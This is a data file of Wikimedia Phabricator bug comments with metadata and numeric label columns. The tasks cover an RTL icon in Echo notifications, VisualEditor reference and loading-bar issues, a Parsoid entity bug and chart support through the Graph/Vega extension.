+244223,RTL for Notification Tool: ? should be ؟ icon,"Change 89249 had a related patch set uploaded by Bsitu:
+Notification overlay is partially hidden in RTL language
+
+https://gerrit.wikimedia.org/r/89249",,,1381518148,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,14,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244221,RTL for Notification Tool: ? should be ؟ icon,"**bsitu** wrote:
+
+
+
+%%%*** This bug has been marked as a duplicate of bug 54252 ***%%%",,,1380239232,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+244217,RTL for Notification Tool: ? should be ؟ icon,Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/flow/cards/252,,,1379969376,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244211,RTL for Notification Tool: ? should be ؟ icon,"To devs:
+You just need to add element like ""#mw-echo-overlay-moreinfo-link"" but with a ""transform:scaleX(-1);"" [1] to the ext.echo.overlay.css
+and call that element instead the ltr one in ext.echo.overlay.js when .sitedir-rtl is true [2]
+
+[1]: http://nicolasgallagher.com/css-background-image-hacks/
+[2]: https://www.mediawiki.org/wiki/Manual:Interface/IDs_and_classes
+
+Best",,,1379681684,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+56265,VisualEditor: Duplicating references groups,"See
+https://en.wikipedia.org/w/index.php?title=Fizeau_experiment&diff=573001070&oldid=572299847 - the user corrected a typo and this resulted in the references groups getting duplicated.
+Reproduced in 
+https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=prev&oldid=573341379 and https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=next&oldid=573340833 while just testing wikilinks, as you can see. My first attempt to reproduce this actually resulted in more weird (although known, I think) behaviour: https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=prev&oldid=573176079 .
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1379500080,1429223936.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-c45wkid72cnbk33nmpdr,task_description,resolved,True,c1,3,False,False,False,11,,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+444986,VisualEditor: Duplicating references groups,"I've tried to reproduce this using @Elitre's testcases, but couldn't; I'm tentatively closing as fixed.",,,1429223923,,PHID-USER-vixhpqcaqfpdj6impfwy,True,,,PHID-TASK-c45wkid72cnbk33nmpdr,task_subcomment,,True,c1,3,True,,,93,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+402145,VisualEditor: Duplicating references groups,I wonder if this is still valid.,,,1421888557,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-c45wkid72cnbk33nmpdr,task_subcomment,,True,c1,3,True,,,81,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+243605,VisualEditor: Duplicating references groups,"https://fr.wikipedia.org/w/index.php?title=Archives_sociales_suisses&diff=96769347&oldid=96768850
+
+https://fr.wikipedia.org/w/index.php?title=Jeu_vid%C3%A9o_ind%C3%A9pendant&diff=95172709&oldid=95071765",,,1379575952,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-c45wkid72cnbk33nmpdr,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+56262,Parsoid: mw:Entity not preserved if data-parsoid missing,"Edit a page with One&nbsp;Two which displays as One Two.  Select the entire text, copy, past at end of the string.  Displays in VE fine at first.  Saving however produces One&nbsp;TwoOneTwo which displays as One TwoOneTwo. 
+
+Originally from 
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&curid=37904286&diff=573462315&oldid=573461696
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1379493780,1381554139.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-bxknfjhi57rb6pgzrqm7,task_description,resolved,True,c1,3,False,False,False,11,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+243460,Parsoid: mw:Entity not preserved if data-parsoid missing,"Change 89356 merged by jenkins-bot:
+Bug 54262: Serialize new entity to its contents
+
+https://gerrit.wikimedia.org/r/89356",,,1381535250,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bxknfjhi57rb6pgzrqm7,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+243456,Parsoid: mw:Entity not preserved if data-parsoid missing,"(In reply to comment #2)
+> Is data-parsoid copied as well?
+
+Never mind, the title had that info.",,,1381532829,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bxknfjhi57rb6pgzrqm7,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1
+243452,Parsoid: mw:Entity not preserved if data-parsoid missing,"Change 89356 had a related patch set uploaded by GWicke:
+Bug 54262: Serialize new entity to its contents
+
+https://gerrit.wikimedia.org/r/89356",,,1381532654,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bxknfjhi57rb6pgzrqm7,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+243448,Parsoid: mw:Entity not preserved if data-parsoid missing,Is data-parsoid copied as well?,,,1381523696,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bxknfjhi57rb6pgzrqm7,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+243444,Parsoid: mw:Entity not preserved if data-parsoid missing,"<p>Foo<span typeof=""mw:Entity"">&nbsp;</span>Bar</p>
+
+converts to
+
+FooBar
+
+which appears to be the problem",,,1381157310,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-bxknfjhi57rb6pgzrqm7,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1
+56225,VisualEditor: Show percentage of progress in loading animation,"DKqwerty at en.wp reports: ""Article Futurama took 58 seconds to load into VE, with the loading bar running the entire time. I think this is unacceptable as it is probably off-putting to inexperienced users. Further, the bar just fills, empties, fills, empties, etc. rapidly and continuously until the page is loaded... Would it be possible to make this bar actually indicate what percentage has been loaded so editors have at least a hint that something is being processed?""
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1379426040,1427850989.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-TASK-boxjw4hklzqeriwzj6zc,task_description,resolved,True,c1,3,False,False,False,11,,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+436306,VisualEditor: Show percentage of progress in loading animation,Implemented by Ed in https://gerrit.wikimedia.org/r/#/c/196583/,,,1427850989,,PHID-USER-r7wrkcx7j2vutqs6hr3g,True,,,PHID-TASK-boxjw4hklzqeriwzj6zc,task_subcomment,,True,c1,3,True,,,91,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241641,VisualEditor: Show percentage of progress in loading animation,"Not sure how we'd judge progress on this one, but it'd be useful for users…",,,1415881533,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-boxjw4hklzqeriwzj6zc,task_subcomment,,True,c1,3,True,,,71,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+56221,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Moving here the following proposals:
+<https://strategy.wikimedia.org/wiki/Proposal:Text_or_Syntax_driven_Charts,_Diagrams,_Graphs_and_more>
+<https://strategy.wikimedia.org/wiki/Proposal:Editable_Graphics>
+<https://strategy.wikimedia.org/wiki/Proposal:Markup_for_charts_and_graphs>
+(with some of the participants in cc).
+
+* «By now Wikipedia has markup/code for everything—math (TeX), parser functions, location maps, and even SVG is supported. However, what is notably missing from many articles (other than high-quality portraits) are graphs and charts.»
+* «There are many types of diagrams. The need for collaborative graphics is wide ranging, from map making to biochemical pathways to flow charts to genealogy to general charting. Each type of graphic has or could have a little language, XML or other representation to define graphics of that type succinctly. Whilst all can be presented as .pngs or .SVGs, the more succinct description is necessary for editability.»
+
+This is distinct from bug 43616 (Provide a way to create interactive 2D/3D timelines and infographics e.g. Java applets, AJAX, Flash) in that it's not about *interactive* stuff and that there are some existing extensions which someone should assess and develop for Wikimedia purposes. I'd also leave maps out of it because that's being addressed (at last) elsewhere.
+Part of it will be solved by bug 38271, but only to a degree.
+
+Mentioned extensions: [[mw:Extension:Graph]], [[mw:Extension:GnuplotBasic]], [[mw:Extension:Plotters]], [[mw:Extension:WikiPlot]].
+
+Keywords from the proposals: http://bloodgate.com/perl/graph/, Java .jar, Flash .swf, Silverlight .scr, ActiveX .ocx, Vector (.svg) .svg (XML), AnyWikiDraw, AnyWikiDraw, WikiPathways, WikiTex, Graph Plugin, DPL Bundle, TeX, gluplot, pgfplots.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1379420040,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_description,open,True,c1,3,True,False,,11,,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+1854454,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Regarding ""enabling"", see https://www.mediawiki.org/wiki/Writing_an_extension_for_deployment if someone is interested",,,1643486674,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,True,,,447,,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0
+1854450,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","nowadays there is an extenstion https://www.mediawiki.org/wiki/Extension:Diagrams , would enabling it be a step into the right direction?
+",,,1643485832,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,447,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+1524110,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)",{T183689} is a related task.,,,1591962226,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,362,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+582097,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Actionable tasks are not the only use case for Phabricator; cf. for example the #Epic project.  Additionally, I think tasks with subtasks are very preferable to projects in some cases as they themselves have a status, a dependency tree, etc.
+
+This task has two blocking subtasks that have not been resolved, so this task itself does not seem to be resolved.  AFAIUI, for example you don't want to work on T56222 (which is fine), but that also means that someone else needs to do the deed to convert those cladograms to Extension:Graph (or something else).",,,1450709456,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,129,,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+582061,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@nemo_bis, this is not what the bug description states. I think the better use of phabricator would be to create small, actionable, and well scoped tasks for specific feature, and mark those with some project tag for tracking. Otherwise this task grows infinitely large and not very useful. Having small tasks allows each feature to be discussed separately, and different devs can pick them up for implementation.  The only reason why we had the [tracking] tasks in Bugzilla was because there was no good support for tagging (projects).",,,1450703140,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,129,,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,1,1,0,1
+581953,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","This bug's purpose is precisely to collect requirements and map alternatives. Two of them are identified by the two blockers. :) If you think the usecase behind that extension is another, please add to blockers.",,,1450683051,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,True,,,129,,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+581827,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Closing because we now have <graph>, and because this task is too broad. Please add more specific tasks for anything that's missing :)",,,1450639655,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1
+581826,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@yurik OK.  I'm happy now.  Yep, I did know d3.js was under Vega, just previously had doubts that enough of that flexibility was exposed.   We can't have end users writing arbitrary javascript, so how the functionality is exposed really matters.
+
+I think I am already now OK with this task being closed.  There is obviously tons more to do and tons more that could be done, but the basics of the template driven transform of json to svg or canvas are there, which is what this task was asking for. 
+",,,1450639269,,PHID-USER-tkx4pj3lyasedlwiiqzm,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,0,0,1,1,0,0,1,0,1,1,0,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,1,0,0
+581824,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@jamescrook, you mean [this example](http://vega.github.io/vega-editor/?mode=vega&spec=force)?  Also here is an [interactive version](http://vega.github.io/vega-editor/?mode=vega&spec=force_drag).
+
+As for d3 - vega is based on d3, so, in theory, most of the capabilities of d3 are exposed. But yes, we will have to dig through it.",,,1450638578,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1
+581823,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@jamescrook, you mean [this example](http://vega.github.io/vega-editor/?mode=vega&spec=force)?  or an [interactive version](http://vega.github.io/vega-editor/?mode=vega&spec=force_drag)
+
+As for d3 - vega is based on d3, so, in theory, most of the capabilities of d3 are exposed. But yes, we will have to dig through it.",,,1450638556,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1
+581821,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@Yurik , looking at the source for that tree it looks to be d3.js rather than Vega.",,,1450638376,,PHID-USER-tkx4pj3lyasedlwiiqzm,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+581820,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@yurik Vega doesn't currently seem to support those, at least not from the examples I can find.  They are motivating examples, so should not be swept under the carpet.  Biochemical pathways, flow charts and genealogy are all similar in being based on graphs (i.e. networks).  The Vega examples I am seeing are plots and maps.
+
+I am wondering why I am seeing no force directed layouts with Vega, although the visual encoding transform is described in the documentation.  If we can get even a basic demo of some biochemical pathway done using a force directed layout then I am cool with this task being closed.  Elaboration and prettiness can come later.",,,1450638292,,PHID-USER-tkx4pj3lyasedlwiiqzm,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,1
+581812,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Just found this [expandable tree sample](http://bl.ocks.org/alcy/raw/7702db089164c493a705/) that seems to be based on Vega with some additional hacks. Might be interesting to build something similar.  And of course there are existing samples like [heatmap](http://vega.github.io/vega-editor/?mode=vega&spec=heatmap&renderer=svg) and many other that might be useful.
+CC: @jamescrook",,,1450636711,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,1,1,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,1,1,0,0,1,0,0,1
+581804,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@jamescrook, we have to narrow down this task, otherwise it sounds like ""create a platform that allows everything"", which is not really actionable.  From my reading of the description, Vega 2.0 should be able to handle most of it. If not, please create separate task that we can discuss.",,,1450633861,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,0,0,1,0
+581798,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Yurik, how does this address ""biochemical pathways to flow charts to genealogy"" from the description?
+
+",,,1450632768,,PHID-USER-tkx4pj3lyasedlwiiqzm,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0
